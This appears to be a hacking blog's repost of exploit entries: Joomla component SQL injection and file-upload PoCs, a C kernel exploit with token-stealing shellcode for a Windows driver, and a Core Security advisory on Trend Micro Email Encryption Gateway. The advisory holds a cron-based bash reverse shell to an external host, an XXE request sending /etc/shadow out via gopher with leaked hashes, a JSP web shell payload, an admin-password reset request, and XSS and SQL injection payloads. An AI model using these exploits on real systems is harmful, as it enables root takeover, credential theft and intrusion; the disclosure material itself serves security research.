Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863562417

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# # # #
# Exploit Title: Joomla! Component OS Property Real Estate 3.12.7 - SQL Injection
# Dork: N/A
# Date: 22.02.2018
# Vendor Homepage: https://www.joomdonation.com/
# Software Link: https://extensions.joomla.org/extensions/extension/vertical-markets/real-estate/os-property/
# Version: 3.12.7
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-7319
# # # #
# Exploit Author: Ihsan Sencan
# # # #
# 
# POC: 
# 
# 1)
# http://localhost/[PATH]/os-property-layouts/search-tools/advanced-search?&option=com_osproperty&task=property_advsearch
# &cooling_system1=[SQL]
# &heating_system1=[SQL]
# &laundry=[SQL]
# 
# # # #
            
# # # #
# Exploit Title: Joomla! Component Proclaim 9.1.1 - Arbitrary File Upload
# Dork: N/A
# Date: 22.02.2018
# Vendor Homepage: https://www.christianwebministries.org/
# Software Link: https://extensions.joomla.org/extensions/extension/living/religion/proclaim/
# Software Download: https://github.com/Joomla-Bible-Study/Joomla-Bible-Study/releases/download/v9.1.1/pkg_proclaim.zip
# Version: 9.1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-7316
# # # #
# Exploit Author: Ihsan Sencan
# # # #
# 
# POC: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_biblestudy&view=mediafileform&layout=edit&id=1
# 
# http://localhost/[PATH]/images/biblestudy/media/[FILE]
# 
# # # #
            
#include “stdafx.h”

#include <Windows.h>

 

#define DEVICE L”\\\\.\\nxfs-709fd562-36b5-48c6-9952-302da6218061″

#define DEVICE2 L”\\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}”

#define IOCTL 0x00222014

#define IOCTL2 0x00222030

#define OUT_SIZE 0x90

#define IN_SIZE 0x10

 

#define KTHREAD_OFFSET 0x124

#define EPROCESS_OFFSET 0x050

#define PID_OFFSET 0x0b4

#define FLINK_OFFSET 0x0b8

#define TOKEN_OFFSET 0x0f8

#define SYSTEM_PID 0x004

#define PARENT_PID 0x140

 

__declspec(naked)VOID TokenStealingShellcode()

{

            __asm{

            xor eax, eax;

            mov eax, fs:[eax + KTHREAD_OFFSET];

            mov eax, [eax + EPROCESS_OFFSET];

            mov esi, [eax + PARENT_PID]; Get parent pid

 

            Loop1:

                        mov eax, [eax + FLINK_OFFSET];

                        sub eax, FLINK_OFFSET;

                        cmp esi, [eax + PID_OFFSET];

                        jne Loop1;

           

            mov ecx, eax;

            mov ebx, [eax + TOKEN_OFFSET];

            mov edx, SYSTEM_PID;

 

            Search:

                        mov eax, [eax + FLINK_OFFSET];

                        sub eax, FLINK_OFFSET;

                        cmp[eax + PID_OFFSET], edx;

                        jne Search;

           

            mov edx, [eax + TOKEN_OFFSET];

            mov[ecx + TOKEN_OFFSET], edx;

            add esp, 0x58;

            add[esp], 5;

            ret 4;

            }

}

 

typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(

            HANDLE ProcessHandle,

            PVOID *BaseAddress,

            ULONG ZeroBits,

            PULONG AllocationSize,

            ULONG AllocationType,

            ULONG Protect

            );

 

typedef NTSTATUS(WINAPI *PNtFreeVirtualMemory)(

            HANDLE ProcessHandle,

            PVOID *BaseAddress,

            PULONG RegionSize,

            ULONG FreeType

            );

 

int main()

{

            HMODULE module = LoadLibraryA(“ntdll.dll”);

            PNtAllocateVirtualMemory AllocMemory = (PNtAllocateVirtualMemory)GetProcAddress(module, “NtAllocateVirtualMemory”);

            PNtFreeVirtualMemory FreeMemory = (PNtFreeVirtualMemory)GetProcAddress(module, “NtFreeVirtualMemory”);

 

            SIZE_T size = 0x1000;

            PVOID address1 = (PVOID)0x05ffff00;

           

 

            NTSTATUS allocStatus = AllocMemory(GetCurrentProcess(),

                        &address1,

                        0,

                        &size,

                        MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,

                        PAGE_EXECUTE_READWRITE);

           

            if (allocStatus != 0)

            {

                        printf(“[x]Couldnt alloc page\n”);

                        exit(-1);

            }

            printf(“[+] Allocated address at %p\n”, address1);

            *(ULONG *)0x05fffff4 = 5;

            *(ULONG *)0x060000ac = 0x20;

            *(ULONG *)0x060001dc = 0x05ffff00;

            *(ULONG *)(0x05ffff00 – 0x18) = 1;

            *(ULONG *)(0x05ffff00 – 0x14) = 0;

           

            PVOID address2 = (PVOID)0x1;

            SIZE_T size2 = 0x1000;

           

            allocStatus = AllocMemory(GetCurrentProcess(),

                        &address2,

                        0,

                        &size2,

                        MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,

                        PAGE_EXECUTE_READWRITE);

 

            if (allocStatus != 0)

            {

                        printf(“[x]Couldnt alloc page2\n”);

                        exit(-1);

            }

            *(ULONG *)0x64 = (ULONG)&TokenStealingShellcode;

            printf(“[+] Mapped null page\n”);

 

            char inBuff[IN_SIZE];

            char outBuff[OUT_SIZE];

 

            HANDLE handle = 0;

                       

            DWORD returned = 0;

            memset(inBuff, 0x41, IN_SIZE);

            memset(outBuff, 0x43, OUT_SIZE);

 

            *(ULONG *)inBuff = 0x00000190;

            *(ULONG *)(inBuff + 4) = 0x00000001;

           

            printf(“[+] Creating nxfs-net… device through IOCTL 222014\n”);

            handle = CreateFile(DEVICE,

                                    GENERIC_READ | GENERIC_WRITE,

                                    FILE_SHARE_READ | FILE_SHARE_WRITE,

                                    NULL,

                                    OPEN_EXISTING,

                                    FILE_ATTRIBUTE_NORMAL,

                                    0);

 

            if (handle == INVALID_HANDLE_VALUE)

            {

                        printf(“[x] Couldn’t open device\n”);

                        exit(-1);

            }

 

            int ret = DeviceIoControl(handle,

                                    IOCTL,

                                    inBuff,

                                    IN_SIZE,

                                    outBuff,

                                    OUT_SIZE,

                                    &returned,

                                    0);

 

            HANDLE handle2 = CreateFile(DEVICE2,

                        GENERIC_READ | GENERIC_WRITE,

                        FILE_SHARE_READ | FILE_SHARE_WRITE,

                        NULL,

                        OPEN_EXISTING,

                        FILE_ATTRIBUTE_NORMAL,

                        0);

 

            char inBuff2[0x30];

            char outBuff2[0x30];

 

            printf(“[+] Triggering exploit…”);

 

            ret = DeviceIoControl(handle2,

                        IOCTL2,

                        inBuff2,

                        0x30,

                        outBuff2,

                        0x30,

                        &returned,

                        0);

           

            return 0;

}
            
Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/

Trend Micro Email Encryption Gateway Multiple Vulnerabilities

1. *Advisory Information*

Title: Trend Micro Email Encryption Gateway Multiple Vulnerabilities
Advisory ID: CORE-2017-0006
Advisory URL:
http://www.coresecurity.com/advisories/trend-micro-email-encryption-gateway-multiple-vulnerabilities
Date published: 2018-02-21
Date of last update: 2018-02-21
Vendors contacted: Trend Micro
Release mode: Coordinated release

2. *Vulnerability Information*

Class: Cleartext Transmission of Sensitive Information [CWE-319],
External Control of File Name or Path [CWE-73], Insufficient
Verification of Data Authenticity [CWE-345], External Control of File
Name or Path [CWE-73], Missing Authentication for Critical Function
[CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of
XML External Entity Reference [CWE-611], Improper Neutralization of
Input During Web Page Generation ('Cross-site Scripting') [CWE-79],
Improper Neutralization of Input During Web Page Generation ('Cross-site
Scripting') [CWE-79], Improper Neutralization of Input During Web Page
Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of
Special Elements used in an SQL Command [CWE-89], Improper
Neutralization of Special Elements used in an SQL Command [CWE-89],
Improper Neutralization of Special Elements used in an SQL Command
[CWE-89]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222,
CVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226,
CVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230

3. *Vulnerability Description*

Trend Micro's website states that:[1]
     
Encryption for Email Gateway is a Linux-based software solution providing
the ability to perform the encryption and decryption of email at the
corporate gateway, regardless of the email client, and the platform from
which it originated. The encryption and decryption of email on the TMEEG
client is controlled by a Policy Manager that enables an administrator
to configure policies based on various parameters, such as sender and
recipient email addresses, keywords, or PCI compliance. Encryption for
Email Gateway presents itself as an SMTP interface and delivers email
out over an SMTP to configured outbound MTAs. This enables easy
integration with other email server-based products, be them content
scanners, mail servers, or archiving solutions."
     
Multiple vulnerabilities were found in the Trend Micro Email Encryption
Gateway web console that would allow a remote unauthenticated attacker
to gain command execution as root.

We also present two additional vectors to achieve code execution from a
man-in-the-middle position.
     
4. *Vulnerable Packages*

. Trend Micro Email Encryption Gateway 5.5 (Build 1111.00)
Other products and versions might be affected, but they were not tested.

5. *Vendor Information, Solutions and Workarounds*

Trend Micro published the following Security Notes:

.
https://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities

6. *Credits*

These vulnerabilities were discovered and researched by Leandro Barragan
and Maximiliano Vidal from Core Security Consulting Services. The
publication of this advisory was coordinated by Alberto Solino from Core
Advisories Team.
   
7. *Technical Description / Proof of Concept Code*

Trend Micro Email Encryption Gateway includes a web console to perform
administrative tasks. Section 7.4 describes a vulnerability in this
console that can be exploited to gain command execution as root. The
vulnerable functionality is accessible only to authenticated users, but
it is possible to combine 7.4 with the vulnerability presented in
section 7.5 to bypass this restriction and therefore execute root
commands from the perspective of a remote unauthenticated attacker.
     
The application does also use an insecure update mechanism that allows
an attacker in a man-in-the-middle position to write arbitrary files and
install arbitrary RPM packages, leading to remote command execution as
the root user.
     
Additional Web application vulnerabilities were found, including
cross-site request forgery (7.6), XML external entity injection (7.7),
several cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL
injection vulnerabilities (7.11, 7.12, 7.13).
     
7.1. *Insecure update via HTTP*

[CVE-2018-6219]
Communication to the update servers is unencrypted. The following URL is
fetched when the application checks for updates:
         
/-----
[Request #1]
 http://downloads.privatepost.com/files/TMEEG/updates/data.html
-----/

The product expects to retrieve a plain-text file with the following
format:

/-----
[Version Info]
[Installation RPM file name]
[Path to release notes]
-----/

If a new update is found, then the RPM file is downloaded from the
following URL:

/-----
[Request #2]
http://downloads.privatepost.com/files/TMEEG/updates/[Installation RPM
file name]
-----/

This means that the product does not do any kind of certificate
validation or public key pinning, which makes it easier for an attacker
to eavesdrop and tamper the data.

7.2. *Arbitrary file write leading to command execution*

[CVE-2018-6220]
The following code snippet is responsible for downloading the update
file (com/identum/pmg/web/CheckForUpdates.java):
         
/-----
FileDownload fd = new FileDownload();
if (!fd.download(updateURLRoot + "/" + rpmFileName, "/tmp/" +
rpmFileName)) {
    return 10;
}
[...]
-----/

The rpmFileName variable is controlled by the attacker, as it is taken
from the aforementioned update file. As a consequence, the attacker
controls the path where the update file is going to be downloaded. The
RPM file is written by the root user with 0644 permissions. Being able
to write to the file system as root opens the door to several code
execution vectors on Linux machines.

In this PoC we present one vector which consist on creating a cron job
on /etc/cron.d directory.
         
The attacker can send the following response to [Request #1]:

/-----
HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 23 May 2017 14:39:46 GMT
Connection: close
Content-Length: 26

5.7
../../../../../../../etc/cron.d/test
test.html
-----/

As a result, the server will create the file /etc/cron.d/test. Its
contents are also controlled by the attacker. When the update launches,
the appliance will download it from the following URL:

/-----
http://downloads.privatepost.com/files/TMEEG/updates/../../../../../../../etc/cron.d/test
-----/

The attacker can tamper the server's response and inject arbitrary data,
such as a reverse shell payload:
         
/-----
* * * * * root /bin/bash -i >& /dev/tcp/external_server/1080 0>&1
-----/

gaining code execution upon exploitation:

/-----
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
52171)
bash: no job control in this shell
[root@ localhost ~]# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=user_u:system_r:unconfined_t
-----/

7.3. *Unvalidated software updates*

[CVE-2018-6221]
The update mechanism described in 7.2 does not validate the RPM file
downloaded.

An attacker in a man-in-the-middle position could tamper with the RPM
file and inject its own.

The following code snippet is responsible for installing the unvalidated
RPM (com/identum/pmg/web/CheckForUpdates.java):

/-----
try
    {
        System.out.println("running file:");
        System.out.println("rpm --upgrade --nodeps /tmp/" + rpmFileName);

        Process process = Runtime.getRuntime().exec("rpm --upgrade
--nodeps /tmp/" + rpmFileName);
        [..]
    {
-----/

In the following Proof of Concept, we crafted a malicious RPM file that
executes a reverse shell once opened. This can be achieved by adding a
reverse shell script to %pre section of RPM's SPEC file, which is
executed previous to any installation step. As can be seen, this results
in code execution as root:

/-----
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
40445)
bash: no job control in this shell
[root@ localhost /]# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=root:system_r:rpm_script_t:SystemLow-SystemHigh
-----/

7.4. *Arbitrary logs location leading to command execution*

[CVE-2018-6222]
The location of the log files can be changed in the logConfiguration.do
page. MimeBuildServer logs are particularly interesting because its
contents can be controlled by an attacker.

The first step is to point the log file to the Web application root. The
following request redirects MimeBuildServer logs to
/opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs:

/-----
POST /logConfiguration.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/logConfiguration.do
Content-Type: application/x-www-form-urlencoded
Content-Length: 798
Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

client0=KeyManager&warnLevel0=3&infoLevel0=1&debugLevel0=0&path0=%2Fvar%2Flog%2Fppg%2Fkeymanserver.log&client1=LauncherServer&warnLevel1=3&infoLevel1=1&debugLevel1=0&path1=%2Fvar%2Flog%2Fppg%2Flauncher.log&client2=KeyManagerClient&warnLevel2=3&infoLevel2=1&debugLevel2=0&path2=%2Fvar%2Flog%2Fppg%2Fkeymanclient.log&client3=MTAInterface&warnLevel3=3&infoLevel3=1&debugLevel3=0&path3=%2Fvar%2Flog%2Fppg%2Fmtainterface.log&client4=PolicyManagerServer&warnLevel4=3&infoLevel4=1&debugLevel4=0&path4=%2Fvar%2Flog%2Fppg%2Fpolicymanager.log&client5=SupervisorServer&warnLevel5=0&infoLevel5=3&debugLevel5=0&path5=%2Fvar%2Flog%2Fppg%2FSupervisorServer.log&client6=MimeBuilderServer&warnLevel6=3&infoLevel6=3&debugLevel6=3&path6=%2Fopt%2Ftomcat%2Fwebapps%2FROOT%2Fpepito.jsp&action=logConfiguration%3Apostback
-----/

The second step is to update the MimeBuilder configuration and insert
arbitrary JSP code. One candidate is the "Encrypted meeting request
email message" form.

/-----
POST /mimebuilderconfig.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/MimeBuilderConfig.do
Content-Type: application/x-www-form-urlencoded
Content-Length: 2915
Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

addEncryptionXHeader=on&encryptionXHeader=X-TMEEG-ENCRYPTED&addDecryptionXHeader=on&decryptionXHeader=X-TMEEG-DECRYPTED&addDecryptionNotice=off&decryptionNotice=javascript%3A%2F*%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonmouseover%3D1%2F%2B%2F%5B*%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%5B%5D%2B%2F%5C%2Ffud3uvq5miuqpikdqya3wzicu30woofc7z2nr%5C.burpcollaborator.net%2F%29.replace%28%2F%5C%5C%2Fg%2C%5B%5D%29%29%2F%2F%27%3E&errorOnVerificationFailure=off&meetingRequestEmailText=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%0D%0A%3C%25%0D%0A%2F%2F%0D%0A%2F%2F+JSP_KIT%0D%0A%2F%2F%0D%0A%2F%2F+cmd.jsp+%3D+Command+Execution+%28unix%29%0D%0A%2F%2F%0D%0A%2F%2F+by%3A+Unknown%0D%0A%2F%2F+modified%3A+27%2F06%2F2003%0D%0A%2F%2F%0D%0A%25%3E%0D%0A%3CHTML%3E%3CBODY%3E%0D%0A%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%0D%0A%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%0D%0A%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%0D%0A%3C%2FFORM%3E%0D%0A%3Cpre%3E%0D%0A%3C%25%0D%0Aif+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B%0D%0A++++++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B%0D%0A++++++++Process+p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%0D%0A++++++++OutputStream+os+%3D+p.getOutputStream%28%29%3B%0D%0A++++++++InputStream+in+%3D+p.getInputStream%28%29%3B%0D%0A++++++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B%0D%0A++++++++String+disr+%3D+dis.readLine%28%29%3B%0D%0A++++++++while+%28+disr+%21%3D+null+%29+%7B%0D%0A++++++++++++++++out.println%28disr%29%3B+%0D%0A++++++++++++++++disr+%3D+dis.readLine%28%29%3B+%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0D%0A%25%3E%0D%0A%3C%2Fpre%3E%0D%0A%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A%0D%0A&encryptionVersion=zd&replyToSender=on&replyToAll=on&replyForward=on&zdMainTemplate=EncryptedMessageTemplate.html&zdAttachmentTemplate=EncryptedAttachmentTemplate.html&zdAttachmentPayloadTemplate=EncryptedAttachmentPayloadTemplate.html&preProcessMaxBlockSize=1914&preProcessMainDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&preProcessInlineDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&b64EncodeAttachments=off&replyToSenderZdv4=on&replyToAllZdv4=on&replyForwardZdv4=on&zdMainTemplateZdv4=V4EncryptedMessageTemplate.htmlbt0ly&preProcessMaxBlockSizeZdv4=1914&preProcessMainDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22&preProcessInlineDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22&b64EncodeAttachmentsZdv4=off&maxProcessThreads=10&mimeBuilderAction=mimeconfig%3Apostback
-----/

The next time the service components are restarted, the log file will be
created with the desired JSP code.

With the sample JSP code from the previous request, the attacker would
then navigate to pepito.jsp and execute arbitrary commands as root:

/-----
https://[server]/pepito.jsp?cmd=id

Command: id

uid=0(root) gid=0(root) context=system_u:system_r:java_t
-----/

7.5. *Missing authentication for appliance registration*

[CVE-2018-6223]
The registration endpoint is provided for system administrators to
configure the virtual appliance upon deployment. However, this endpoint
remains accessible without authentication even after the appliance is
configured, which would allow attackers to set configuration parameters
such as the administrator username and password.
      
The following request changes the administrator password to "sombrero":

/-----
POST /register.jsp HTTP/1.1
Host: [server]
Content-Type: application/x-www-form-urlencoded
Content-Length: 414

action=register%3Apostback&activationCode1=EE&activationCode2=XXXX&activationCode3=XXXX&activationCode4=XXXX&activationCode5=XXXX&activationCode6=XXXX&activationCode7=XXXX&resellerCode=&hostName=tester.localdomain&regEmail=pentester1@coresecurity.com&contactName=Test+Test&contactEmail=pentester1@coresecurity.com&contactPhone=%2B5491145712447&userName=administrator&password=sombrero&confirmPassword=sombrero
-----/

Note that a valid activation code is required. This code can be easily
obtained by requesting a trial from Trend Micro's website.

7.6. *Lack of cross-site request forgery protection*

[CVE-2018-6224]
There are no Anti-CSRF tokens in any forms on the Web interface. This
would allow an attacker to submit authenticated requests when an
authenticated user browses an attacker-controlled domain.

This vulnerability can be chained with 7.4 and lead to remote command
execution. It could also be abused to force updates once the attacker is
in a man-in-the-middle position to exploit 7.2 or 7.3, which would also
lead to remote command execution.

The following proof of concept starts the check for updates process.

/-----
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://[server]/checkForUpdates.do">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
-----/

7.7. *XML external entity injection in configuration.jsp*

[CVE-2018-6225]
The pciExceptionXml parameter of the configuration.jsp script is
vulnerable to XML external entity injection.

The following proof of concept uses external entities to send the
/etc/shadow file to an external server.

/-----
POST /configuration.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 938
Cookie: JSESSIONID=E8357364AE748ACB904BE6E34F47F2DB
Connection: close
Upgrade-Insecure-Requests: 1

       
incomingPort=25&externalHost=&outboundExternalPort=25&internalHost=&outboundInternalPort=25&pciUseSemantics=on&pciScanAttachments=on&pciExceptionbetween0=on&pciExceptionbetween1=on&pciExceptionText0=on&enabledInput=on&exceptionInput=&enabledInput=on&editExceptionInput=&enabledInput=on&startInput=&endInput=&enabledInput=on&startInput=&endInput=&action=configuration%3Apostback&pciExceptionXml=<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f>
<!DOCTYPE+roottag+[
+<ENTITY+%25+file+SYSTEM+"file%3a///etc/shadow">
+<!ENTITY+%25+dtd+SYSTEM+"http%3a//external_server/combine.dtd">
%25dtd%3b]>
<ci_exceptions><pci_exception+enabled%3d"true"><tart><[CDATA[<head>]]>%26send%3b</start><end></head>]]></end></pci_exception><pci_exception+enabled%3d"true"><start><![CDATA[<style></start><end></style></end></pci_exception><pci_exception+enabled%3d"true"><start><head/></start></pci_exception></pci_exceptions>
-----/

The combine.dtd file is hosted on an external server, and its contents
are:

/-----
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM
'gopher://external_server:1080/?%file;'>">
%all;

$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
49676)
root:$1$8PtHrAEM$DmIkWpxYSOzhM0KLJGZvY/:14090:0:99999:7:::
bin:*:14089:0:99999:7:::
daemon:*:14089:0:99999:7:::
adm:*:14089:0:99999:7:::
lp:*:14089:0:99999:7:::
sync:*:14089:0:99999:7:::
shutdown:*:14089:0:99999:7:::
halt:*:14089:0:99999:7:::
mail:*:14089:0:99999:7:::
news:*:14089:0:99999:7:::
uucp:*:14089:0:99999:7:::
operator:*:14089:0:99999:7:::
games:*:14089:0:99999:7:::
gopher:*:14089:0:99999:7:::
ftp:*:14089:0:99999:7:::
nobody:*:14089:0:99999:7:::
rpm:!!:14089:0:99999:7:::
dbus:!!:14089:0:99999:7:::
exim:!!:14089:0:99999:7:::
nscd:!!:14089:0:99999:7:::
vcsa:!!:14089:0:99999:7:::
rpc:!!:14089:0:99999:7:::
sshd:!!:14089:0:99999:7:::
pcap:!!:14089:0:99999:7:::
haldaemon:!!:14089:0:99999:7:::
postgres:!!:14090::::::
tomcat:!!:14090:0:99999:7:::
xfs:!!:14179::::::
postfix:!!:14194::::::
-----/

These actions require the user to be authenticated within the Web
console, so an attacker would need to obtain valid credentials first.
Possible vectors to achieve this include exploiting any of the XSS
issues described in 7.8, 7.9 and 7.10, or leveraging the XSRF
vulnerability described in 7.6.

7.8. *Reflected cross-site scripting in keymanserverconfig.jsp*

[CVE-2018-6226]
The deniedKeysExpireTimeout and keyAge parameters of the
keymanserverconfig.jsp script are vulnerable to cross-site scripting.

The following is a proof of concept to demonstrate the vulnerability:

/-----
https://[server]/keymanserverconfig.jsp?keyAge=3&keyAgeUnits=m&deniedKeysExpireTimeout=6000yta9q%22%3e%3cscript%3ealert(1)%3c%2fscript%3ekb4w2xa9v0d&keymanServerAction=kmsconfig%3Apostback
-----/

7.9. *Reflected cross-site scripting in mimebuilderconfig.jsp*

[CVE-2018-6226]
The following parameters of the mimebuilderconfig.jsp script are
vulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader,
meetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate,
zdMainTemplate, zdMainTemplateZdv4.

The following is a proof of concept to demonstrate the vulnerability:

/-----
https://[server]/mimebuilderconfig.jsp?zdMainTemplateZdv4=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
-----/

7.10. *Stored cross-site scripting in editPolicy.jsp*

[CVE-2018-6227]
The hidEmails parameter of the editPolicy.jsp script is vulnerable to
cross-site scripting.

The following request adds a policy for the email address
"<script>alert(1)</script>":

/-----
POST /editPolicy.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/policies.jsp
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
Cookie: JSESSIONID=7D25474429E52C823C63357255A5E781
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

action=editPolicy%3Apostback&hidEmails=<script>alert(1)</script>&hidConditions=&hidRuleId=1&hidDelete=&ruleResult=3&ruleTarget=3&envId=1
-----/

The input will be stored unescaped and rendered every time the policies.do
script is executed.

Excerpt of the policies.do source showing the injected script tag:

/-----
<tr>
<td ondblclick="edit_policy(this);" style="border:solid 1px
#AAAAAA;background-color:#F5F5F5;cursor:move;"
    onmousedown="mouse_down(this, event);" onmouseup="mouse_up(this);"
onmouseout="mouse_out(this);"
    onmousemove="mouse_move(this, event);">Don't decrypt messages to
<script>alert(1)</script>
-----/

7.11. *SQL injection in policies.jsp*

[CVE-2018-6228]
The hidEditId parameter of the policies.jsp script is not sanitized,
leading to SQL injection.

As can be seen in the following excerpt, the script reads a parameter
named hidEditId and forwards it to the editPolicy.jsp script if it is
not set to -1.

From webapps/ROOT/policies.jsp:

/-----
<% if (request.getParameter("hidEditId") != null)
    if (request.getParameter("hidEditId").compareTo("-1") != 0)
    {
        String hid_edit_id = request.getParameter("hidEditId");
    %><jsp:forward page="editPolicy.jsp"><jsp:param name="editRuleId"
value="<%= hid_edit_id %>"/></jsp:forward><%
    }
[...]
-----/

The editPolicy.jsp script will pass this parameter without any
modification to the loadRuleDetails method, which is defined in the
formEditPolicy class

From webapps/ROOT/editPolicy.jsp:
       
/-----
if (request.getParameter("editRuleId") != null)
frm.loadRuleDetails(request.getParameter("editRuleId"));
[...]
-----/

Finally, the loadRuleDetails method will use the unsanitized parameter
it receives to build a dynamic SQL statement as follows:

From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:

/-----
public boolean loadRuleDetails(String ruleId)
{
    _databaseError = false;


    try
    {
        _ruleId = ruleId;
        _ruleResultId = dataStore.getRuleResultId(ruleId);
        _ruleForId = dataStore.getRuleForId(ruleId);
        _ruleEmails = dataStore.getRuleAddreses(ruleId);
        _ruleSubRules = dataStore.getSubRules(ruleId);
    [...]

public String getRuleResultId(String ruleId) throws SQLException
{
    Connection cnn = MySQLClient.GetInstance().GetConnection();
    Statement query = cnn.createStatement();
    String ruleResultId = "";

    ResultSet rs = null;

    try
    {
        rs = query.executeQuery("SELECT RuleResultId FROM RulesEngine
WHERE Id = " + ruleId);
    [...]
-----/

The contents of ruleId will be appended to the SELECT query, resulting
in a SQL injection.

The following PoC opens a policy to edit, even though the hidEditId
parameter is invalid. Due to the "always true" comparison, the first
element is retrieved:

/-----
POST /policies.jsp HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Referer: https://server/editPolicy.jsp
Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2
Connection: close
Upgrade-Insecure-Requests: 1

action=policies%3Apostback&hidSequence=&hidEditId=178275005%20or%201%3d1%20LIMIT%201
-----/

7.12. *SQL injection in editPolicy.jsp*

[CVE-2018-6229]
The hidRuleId parameter of the editPolicy.jsp script is not sanitized,
leading to SQL injection in a DELETE statement.

The following excerpt shows that the request object is forwarded to the
DeletePolicy method implemented in the formEditPolicy class.

